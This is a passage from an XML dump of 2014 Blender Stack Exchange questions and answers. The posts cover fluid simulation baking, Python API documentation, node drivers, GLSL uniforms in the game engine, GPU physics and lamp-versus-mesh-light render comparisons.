Title="Why will my fluid domain only bake once?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8064" PostTypeId="2" ParentId="8061" CreationDate="2014-03-26T18:54:30.320" Score="2" Body="&lt;p&gt;I just tried it with an STL file, and it works fine for me.  Steps I used:&lt;br&gt;&#xA;1. File:Import:STL&lt;br&gt;&#xA;2. Select file and import&lt;br&gt;&#xA;3. Select the newly imported object (right click)&lt;br&gt;&#xA;4. In the materials panel, add a new material&lt;br&gt;&#xA;5. Check the transparency panel&lt;br&gt;&#xA;6. Change alpha slider to desired transparency  &lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2014-03-26T18:54:30.320" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8065" PostTypeId="2" ParentId="8063" CreationDate="2014-03-26T19:39:06.660" Score="4" Body="&lt;p&gt;This is because your setup is a bit weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, make sure the fluid objects are enough large to be initialized as fluid volumes. To do so, you can &lt;kbd&gt;Tab&lt;/kbd&gt; to edit mode and scale it &lt;em&gt;Z&lt;/em&gt;, to have more volume at the beginning of the simulation. Beware to move the volume inside the domain, since the volume beyond the domain won't be computed. A good idea here would be to reset origin of both fluid objects to their respective centers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, your obstacle object is not well configured:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set the &lt;em&gt;Volume initialization&lt;/em&gt; setting to &lt;em&gt;Both&lt;/em&gt; because it contains both concave and convex surfaces.&lt;/li&gt;&#xA;&lt;li&gt;It does not contain enough subdivisions, so the simulation is not so much accurate. You should add more edges to the height of the obstacle object (&lt;kbd&gt;Tab&lt;/kbd&gt; to edit mode, then &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;R&lt;/kbd&gt; over an edge, then mouse scroll to add more subdivs.)&lt;/li&gt;&#xA;&lt;li&gt;You should also &lt;em&gt;Recalculate&lt;/em&gt; the entire mesh's normals. (In &lt;em&gt;Edit Mode&lt;/em&gt;, &lt;kbd&gt;A&lt;/kbd&gt; to select all, then &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;N&lt;/kbd&gt;)&lt;/li&gt;&#xA;&lt;li&gt;As a side note, you added a &lt;em&gt;Collision&lt;/em&gt; physics modifier for your obstacle object, which is useless here (even if it doesn't affect the fluid sim).&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The amount of memory required for the simulation depends on the resolution you specify, for &lt;em&gt;Final:&lt;/em&gt; (used for render) and for &lt;em&gt;Preview:&lt;/em&gt;. The more resolution you give, the more memory the bake will take.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no &lt;em&gt;&quot;free bake&quot;&lt;/em&gt; button, but you can specify the directory where Blender will store the simulation data (in the domain's &lt;em&gt;Fluid dropdown&lt;/em&gt;, file browser at the bottom). By the way, if you re-click on the &lt;em&gt;Bake&lt;/em&gt; button, it will erase the previous baked data while the simulation compute.&lt;/p&gt;&#xA;" OwnerUserId="527" LastEditorUserId="20508" LastEditDate="2016-07-18T21:10:07.520" LastActivityDate="2016-07-18T21:10:07.520" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="8066" PostTypeId="1" CreationDate="2014-03-26T22:13:51.277" Score="2" ViewCount="1628" Body="&lt;p&gt;What is the minimum size requirement for a Fluid mesh object in a Fluid simulation? I've heard and read that if the mesh is too small, it may not act like fluid properly when baking. But, I don't know the exact measurements of &quot;too small&quot;. Does anybody know? &lt;/p&gt;&#xA;" OwnerUserId="2173" LastActivityDate="2014-09-24T07:54:09.890" Title="What is the minimum size requirement for a Fluid mesh object in a Fluid simulation?" Tags="&lt;physics&gt;&lt;fluid-simulation&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8067" PostTypeId="1" AcceptedAnswerId="8069" CreationDate="2014-03-26T22:38:23.697" Score="10" ViewCount="3438" Body="&lt;p&gt;I know that a list of math functions can be found &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_69_release/contents.html#standalone-modules&quot;&gt;on this site&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But how about functions such as &lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;code&gt;obj.data.materials.clear()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;obj.data.materials.append()&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;len(obj.data.polygons)&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.normal&lt;/code&gt; or&lt;/li&gt;&#xA;&lt;li&gt;&lt;code&gt;.length&lt;/code&gt; ?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I have always wondered whether there was an overview or list or whatnot for these functions.&lt;/p&gt;&#xA;" OwnerUserId="2248" LastEditorUserId="1363" LastEditDate="2014-03-26T23:17:08.333" LastActivityDate="2015-03-22T12:11:42.490" Title="Is there a list for all available python functions?" Tags="&lt;python&gt;" AnswerCount="5" CommentCount="0" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="8068" PostTypeId="1" AcceptedAnswerId="8077" CreationDate="2014-03-26T23:14:25.403" Score="2" ViewCount="308" Body="&lt;p&gt;I have this group input that generates a &quot;lens flare&quot;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/RHEtD.png&quot; alt=&quot;Node Tree&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to know if it is possible to 'parent' the location of the flare to the sphere at the bottom of the image. I do not want to use any scripts [yet]. Any help would be appreciated. :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My menu options:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hdgby.png&quot; alt=&quot;Options&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender Render vs. Cycles [Help!]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/sXdYx.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2918" LastEditorUserId="2918" LastEditDate="2014-03-27T00:54:19.090" LastActivityDate="2014-03-27T05:15:27.163" Title="How do you affect the translate node by the location of object?" Tags="&lt;cycles-render-engine&gt;&lt;node-editor&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8069" PostTypeId="2" ParentId="8067" CreationDate="2014-03-26T23:43:11.010" Score="11" Body="&lt;p&gt;These functions (or rather methods, properties and attributes) you are asking for are blender-specific, thus part of the &lt;strong&gt;Blender Python API&lt;/strong&gt; (a.k.a. bpy) - just to clear it up. For standard python module features, please refer to the &lt;a href=&quot;http://docs.python.org/3/&quot;&gt;official python docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;.polygons&lt;/code&gt;, &lt;code&gt;.length&lt;/code&gt; etc. are properties of certain Blender type instances (objects). To find out what they do and which features are available, you need to check out the &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot;&gt;bpy API docs&lt;/a&gt; for a &lt;strong&gt;particular type&lt;/strong&gt; (class).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a page in the docs about how to use the docs:&lt;br&gt;&#xA;&lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/info_api_reference.html&quot;&gt;Blender/Python API Reference Usage: examples of how to use the API reference docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;h2&gt;Example&lt;/h2&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;.polygons&lt;/code&gt; is a property of the type &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.Mesh.html?highlight=polygons#bpy.types.Mesh.polygons&quot;&gt;bpy.types.Mesh&lt;/a&gt;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;It is a type on its own, &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.MeshPolygons.html#bpy.types.MeshPolygons&quot;&gt;MeshPolygons&lt;/a&gt;, &gt; which has an &lt;code&gt;.active&lt;/code&gt; property and an &lt;code&gt;add()&lt;/code&gt; method.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;If you use the slice notation on &lt;code&gt;.polygons&lt;/code&gt;, you will get elements returned of a &lt;code&gt;bpy_prop_collection&lt;/code&gt;. The element type is &lt;a href=&quot;http://www.blender.org/documentation/blender_python_api_2_70_release/bpy.types.MeshPolygon.html#bpy.types.MeshPolygon&quot;&gt;MeshPolygon&lt;/a&gt;. A MeshPolygon has i.e. a &lt;code&gt;.normal&lt;/code&gt; property in turn.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;As you can see, the methods and properties are not found in a single place. The most valuable information is hidden in the &lt;code&gt;bpy.types&lt;/code&gt; section of the docs. You can use the online search, or use Blender's built-in Python Console with auto-complete to figure out what is where. You can also find out the type and search for it in the API docs by adding &lt;code&gt;bl_rna.identifier&lt;/code&gt; to an object:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.context.object.data.bl_rna.identifier&#xA;'Mesh'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.context.object.data.polygons.bl_rna.identifier&#xA;'MeshPolygons'&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; bpy.context.object.data.polygons[0].bl_rna.identifier&#xA;'MeshPolygon'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Prepend &lt;code&gt;bpy.types.&lt;/code&gt; and you have your type to lookup in the docs!&lt;/p&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-03-26T23:43:11.010" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8070" PostTypeId="2" ParentId="8068" CreationDate="2014-03-26T23:58:57.503" Score="2" Body="&lt;p&gt;Not sure if its what your looking for but the [Input &gt; Object Info] node allows access to the vector location of the object in the current context...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;from there basic maths should magic you up some results &lt;/p&gt;&#xA;&#xA;&lt;p&gt;best of luck =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;screenie =P&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WYHHA.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Here are some links to some decent youtube channels that have helped me learn cycles&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/AndrewPPrice&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/user/AndrewPPrice&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/blendercookie&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/user/blendercookie&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/user/tutor4u&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.youtube.com/user/tutor4u&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and of coarse blender.stackexchange is here for specific quesions&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="2801" LastEditDate="2014-03-27T00:47:47.140" LastActivityDate="2014-03-27T00:47:47.140" CommentCount="18" ContentLicense="CC BY-SA 3.0" />
  <row Id="8071" PostTypeId="2" ParentId="8067" CreationDate="2014-03-27T00:07:22.223" Score="9" Body="&lt;p&gt;An API navigator can be enabled under &lt;em&gt;File &gt; User Preferences &gt; Addons&lt;/em&gt;, Supported Level: &lt;em&gt;Development&lt;/em&gt;, search for &lt;em&gt;API navigator&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Change a window to the text editor and in the properties panel (&lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;) there will now be a foldable menu called &lt;em&gt;API Navigator&lt;/em&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/PSV9W.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also... if you right click any UI element and click &lt;em&gt;Edit Source&lt;/em&gt;, the code will be displayed in this editor (unless it's from C code, you'll see a message in this case)&lt;/p&gt;&#xA;" OwnerUserId="2801" LastEditorUserId="1363" LastEditDate="2014-03-27T01:21:04.927" LastActivityDate="2014-03-27T01:21:04.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8072" PostTypeId="1" CreationDate="2014-03-27T01:13:37.017" Score="3" ViewCount="111" Body="&lt;p&gt;On the cube when I split it to form blocks, how do you set the length and width of the split?&lt;/p&gt;&#xA;" OwnerUserId="2920" LastActivityDate="2014-03-27T01:13:37.017" Title="How do you set dimension between edges?" Tags="&lt;modeling&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ClosedDate="2014-10-03T22:37:45.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="8073" PostTypeId="1" CreationDate="2014-03-27T01:14:34.597" Score="5" ViewCount="402" Body="&lt;p&gt;In Blender 2.69 and 2.70 I tried to make a simple GLSL shader that has one uniform value. However, it seems like the uniform value isn't applied correctly. The scene is showing a black cube. How can I fix it?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bge&#xA;&#xA;cont = bge.logic.getCurrentController()&#xA;&#xA;vs = '''&#xA;    void main() {&#xA;        gl_Position = gl_ModelViewProjectionMatrix * gl_Vertex;&#xA;    }&#xA;'''&#xA;&#xA;fs = '''&#xA;    uniform float c;&#xA;    void main() {&#xA;        gl_FragColor = vec4(c, c, c, 1.0);&#xA;    }&#xA;'''&#xA;&#xA;mesh = cont.owner.meshes[0]&#xA;for mat in mesh.materials:&#xA;    shader = mat.getShader()&#xA;    shader.setSource(vs, fs, 0)&#xA;    shader.setUniform1f('c', 0.5)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i partly figured it out myself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;if i play the scene in the stand alone player.&#xA;the uniform value is applied correctly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i don't know why the viewport mode bge player doesn't work correctly.&lt;/p&gt;&#xA;" OwnerUserId="2919" LastEditorUserId="2919" LastEditDate="2014-03-27T06:43:30.683" LastActivityDate="2014-03-27T14:14:28.257" Title="BGE glsl setUniform problem" Tags="&lt;game-engine&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8074" PostTypeId="1" AcceptedAnswerId="8078" CreationDate="2014-03-27T02:29:02.810" Score="3" ViewCount="6934" Body="&lt;p&gt;I realise that the GPU can be used in Blender to accelerate rendering, but can the GPU be used to just perform animation/physics simulation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm currently using Blender to import some OBJ files, apply some physics modifiers to them, run an animation/simulation and export the resulting OBJ file, i.e. I'm not using Blender for rendering purposes at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did some performance tests and it seems like a GPU can only utilised for rendering and does not affect the animation/physics simulation performance. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know if it's possible to utilise the GPU for physics simulation with any software?&#xA;Note: I require soft body (cloth) collision physics, not just rigid body.&lt;/p&gt;&#xA;" OwnerUserId="2921" LastActivityDate="2014-03-27T06:42:04.103" Title="Utilise GPU just for animation/physics, not rendering" Tags="&lt;animation&gt;&lt;physics&gt;&lt;gpu&gt;&lt;cloth-simulation&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8075" PostTypeId="1" CreationDate="2014-03-27T03:53:10.450" Score="9" ViewCount="6737" Body="&lt;p&gt;I'm trying to check whether or not a vertex belongs to a particular group, I've seen a couple methods, I'm wondering why the following does not move any vertices.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for v in ob.data.vertices:&#xA;  if v.groups.find(&quot;Group&quot;) &amp;gt;= 0:&#xA;     v.co[0]=5 + offset&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just to be clear, There is a vertex group with the given name with vertices assigned, but nothing is moved.  Am I using the find method wrong?  Or totally misunderstanding what it's supposed to do?&lt;/p&gt;&#xA;" OwnerUserId="2699" LastActivityDate="2019-09-01T10:28:36.033" Title="Checking if a vertex belongs to a vertex group in python" Tags="&lt;python&gt;&lt;vertex-groups&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8076" PostTypeId="2" ParentId="8067" CreationDate="2014-03-27T04:09:11.770" Score="3" Body="&lt;p&gt;While you can easily get a &lt;a href=&quot;https://blender.stackexchange.com/questions/2973/how-to-get-the-entire-list-of-operators&quot;&gt;list of operators&lt;/a&gt; I don't think anyone has done the same for all of blender. It would probably be too large anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is help available directly from python, you can use blender's Python console to access it. Starting with the autocomplete feature, typing in &lt;code&gt;obj.data.materials.&lt;/code&gt; and pressing the Autocomplete button ( or &lt;kbd&gt;Ctrl&lt;/kbd&gt;&lt;kbd&gt;Space&lt;/kbd&gt;) will list all items available, even having entered &lt;code&gt;D.objects['&lt;/code&gt; autocomplete will list available object names.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The next option is listing all class attributes, which is methods and variables, so entering &lt;code&gt;dir(C.active_object.data.materials)&lt;/code&gt; into the console gives you -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;['__bool__', '__contains__', '__delattr__', '__delitem__', '__doc__', '__doc__',&#xA;'__getattribute__', '__getitem__', '__iter__', '__len__', '__module__', '__setattr__',&#xA;'__setitem__', '__slots__', 'append', 'bl_rna', 'clear', 'find', 'foreach_get',&#xA;'foreach_set', 'get', 'items', 'keys', 'pop', 'rna_type', 'values']&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Names surrounded by double underline are 'builtin' implementations as defined by python - eg &lt;code&gt;__len__&lt;/code&gt; is the function called when you use &lt;code&gt;len(C.active_object.data.materials)&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently of limited use (the scrollback length in the console is too small) is the help function. eg &lt;code&gt;help(C.active_object.data.materials)&lt;/code&gt; will output -&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Help on bpy_prop_collection object:&#xA;&#xA;class bpy_prop_collection(bpy_prop)&#xA; |  Method resolution order:&#xA; |      bpy_prop_collection&#xA; |      bpy_prop&#xA; |      object&#xA; |  &#xA; |  Methods defined here:&#xA; |  &#xA; |  __bool__(...)&#xA; |      x.__bool__() &amp;lt;==&amp;gt; x != 0&#xA; |  &#xA; |  __contains__(...)&#xA; |      x.__contains__(y) &amp;lt;==&amp;gt; y in x&#xA; |  &#xA; |  __delattr__(...)&#xA; |      x.__delattr__('name') &amp;lt;==&amp;gt; del x.name&#xA; |  &#xA;&amp;lt;snip&amp;gt;&#xA; |  ----------------------------------------------------------------------&#xA; |  Methods inherited from bpy_prop:&#xA; |  &#xA; |  __dir__(...)&#xA; |  &#xA; |  __eq__(...)&#xA; |      x.__eq__(y) &amp;lt;==&amp;gt; x==y&#xA; |  &#xA; |  __ge__(...)&#xA; |      x.__ge__(y) &amp;lt;==&amp;gt; x&amp;gt;=y&#xA;&amp;lt;snip&amp;gt;&#xA; |  ----------------------------------------------------------------------&#xA; |  Data descriptors inherited from bpy_prop:&#xA; |  &#xA; |  data&#xA; |      The data this property is using, *type* :class:`bpy.types.bpy_struct`&#xA; |  &#xA; |  id_data&#xA; |      The :class:`bpy.types.ID` object this datablock is from or None, (not available for all data types)&#xA; |  &#xA; |  rna_type&#xA; |      The property type for introspection&#xA; |  &#xA; |  ----------------------------------------------------------------------&#xA; |  Data and other attributes inherited from bpy_prop:&#xA; |  &#xA; |  __new__ = &amp;lt;built-in method __new__ of type object&amp;gt;&#xA; |      T.__new__(S, ...) -&amp;gt; a new object with type S, a subtype of T&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="935" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.843" LastActivityDate="2014-03-27T04:09:11.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8077" PostTypeId="2" ParentId="8068" CreationDate="2014-03-27T05:15:27.163" Score="0" Body="&lt;p&gt;While you don't want to use scripts, I think you will have to use a driver to achieve what you want. Drivers can be a lot simpler than python scripts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm thinking you want to alter the X value of the translate node. With your cursor over the X value, either press &lt;kbd&gt;D&lt;/kbd&gt; or right click and select Add Driver, the value will then be highlighted in purple. The driver details are available in the graph editor, change F-Curve to Drivers in the graph editor header and select the value on the left, press &lt;kbd&gt;N&lt;/kbd&gt; to show the properties panel on the right.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6Aj8k.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this example the variable is named &lt;code&gt;getVal&lt;/code&gt; and it will be equal to the X location of the object called Sphere. The scripted expression is set to &lt;code&gt;getVal * 10&lt;/code&gt;, which means the X value of the translate node will be set to the Sphere's X location times 10.&lt;/p&gt;&#xA;" OwnerUserId="935" LastActivityDate="2014-03-27T05:15:27.163" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8078" PostTypeId="2" ParentId="8074" CreationDate="2014-03-27T06:01:42.433" Score="2" Body="&lt;p&gt;&lt;strong&gt;No&lt;/strong&gt;, unfortunately GPU based processing for operations besides rendering is not available at the moment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is possible (check out &lt;a href=&quot;http://www.blendernation.com/2013/10/23/non-blender-nvidia-flex-demonstration/&quot; rel=&quot;nofollow&quot;&gt;this demo by Nvidia&lt;/a&gt;), so perhaps it will be in Blender sometime in the future :)&lt;/p&gt;&#xA;" OwnerUserId="599" LastActivityDate="2014-03-27T06:01:42.433" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8079" PostTypeId="2" ParentId="8074" CreationDate="2014-03-27T06:42:04.103" Score="0" Body="&lt;p&gt;by my understanding, the cpu would be the better choice... gpus are faster for rendering because they are designed specifically for such tasks. they store and process data in a way that is most efficient for things like texturing and shading... but physics are more of a hard math kinda thing... indeed if you could share the workload between the cpu and the gpu it would yield better results, but no more so than a better processor...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;although i will say that gives me an idea xD...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;anyone willing to pay for a &quot;Physics Processing Unit&quot;?&lt;/p&gt;&#xA;" OwnerUserId="2801" LastActivityDate="2014-03-27T06:42:04.103" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="8080" PostTypeId="2" ParentId="8039" CreationDate="2014-03-27T06:44:03.167" Score="28" Body="&lt;p&gt;Matt's answer covers the theory of it, but to provide a visual comparison:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wZxLv.png&quot; alt=&quot;Area Lamp&quot;&gt;&#xA;Area lamp, 100 samples, 11.08 seconds. MIS (Multiple Importance Sample) on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/kDKtr.png&quot; alt=&quot;Plane&quot;&gt;&#xA;Plane, 100 samples, 12.10 seconds. MIS on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the plane is slightly slower, but it has slightly less noise as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But now lets try with three lamps instead of only one:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/t72hP.png&quot; alt=&quot;Screenshot&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mvC8J.png&quot; alt=&quot;Area Lamps&quot;&gt;&#xA;Area lamps, 100 samples, 11.31 seconds, MIS off for all lamps (turning MIS on gave the same result with an extra 2 seconds on the render time)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/QOFnK.jpg&quot; alt=&quot;Planes MIS on&quot;&gt;&#xA;Planes, 100 samples, 12.83 seconds, MIS on for all planes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ZQ83E.jpg&quot; alt=&quot;Planes MIS off&quot;&gt;&#xA;Planes, &lt;strong&gt;150&lt;/strong&gt; samples, 11.19 seconds, MIS &lt;strong&gt;off&lt;/strong&gt; for all planes&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/wFETD.png&quot; alt=&quot;Planes mixed MIS&quot;&gt;&#xA;Planes, 100 samples, 12.46 seconds, MIS on for two smaller planes, off for large one&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So it appears that when you have multiple lights and manage which emission planes have MIS turned on, the result can me similar to area lamps, although still a bit slower and slightly more noisy. It's the other way around when you have only one emission plane, but the difference is subtle. MIS for area lamps doesn't seem to make any difference to the diffuse, except increase the render time a bit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This only compares noise level of shadows and diffuse shading, for Glossy shaders you usually want to keep MIS on for the lamps you wish to create specular highlights. (See page 5 of &lt;a href=&quot;http://graphics.stanford.edu/courses/cs348b-03/papers/veach-chapter9.pdf&quot;&gt;this paper&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ivj0M.png&quot; alt=&quot;MIS example, from the above mentioned paper&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(From the above mentioned paper)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now for arguement's sake, lets take a look at a point lamp vs a spherical mesh:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/EfugP.png&quot; alt=&quot;Point Lamp&quot;&gt;&#xA;Point Lamp, 100 samples, 12.30 seconds, MIS on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hh7mO.png&quot; alt=&quot;Sphere&quot;&gt;&#xA;Sphere, 100 samples, 13.86 seconds, MIS on&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The sphere is clearly the loser here, very noisy and slightly slower. Turning MIS off makes it much worse.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To conclude - it all depends on your situation. Mesh lights are more flexible and probably more accurate, but require some understanding of importance sampling and playing around.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All these tests were done with the Path Tracing integrator. Using the Branched Path Tracing integrator, Area and Point lamp renders were much cleaner, and mesh lamp renders were much noisier (for various samples but the same render time).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://gregzaal.com/files/Lamps_vs_meshLights.blend&quot;&gt;Download this .blend file&lt;/a&gt; if you'd like to play with it.&lt;/p&gt;&#xA;" OwnerUserId="9" LastActivityDate="2014-03-27T06:44:03.167" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8081" PostTypeId="2" ParentId="2164" CreationDate="2014-03-27T07:50:47.567" Score="2" Body="&lt;p&gt;While @Aldrik's answer is correct, it took me a while to figure out how to make it actually happen.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Don't choose &lt;code&gt;Text/Run script&lt;/code&gt; from the text editor, but choose &lt;code&gt;Game/Start Game Engine&lt;/code&gt; from the main menu and invoke the controller logic to which you assigned the script.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to run the script at Game Engine startup, use an &lt;code&gt;AlwaysSensor&lt;/code&gt; and connect it to a Python controller. At the Python controller choose &lt;code&gt;Script&lt;/code&gt; and select the Python file which you have opened in the text editor.&lt;/p&gt;&#xA;" OwnerUserId="1832" LastActivityDate="2014-03-27T07:50:47.567" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
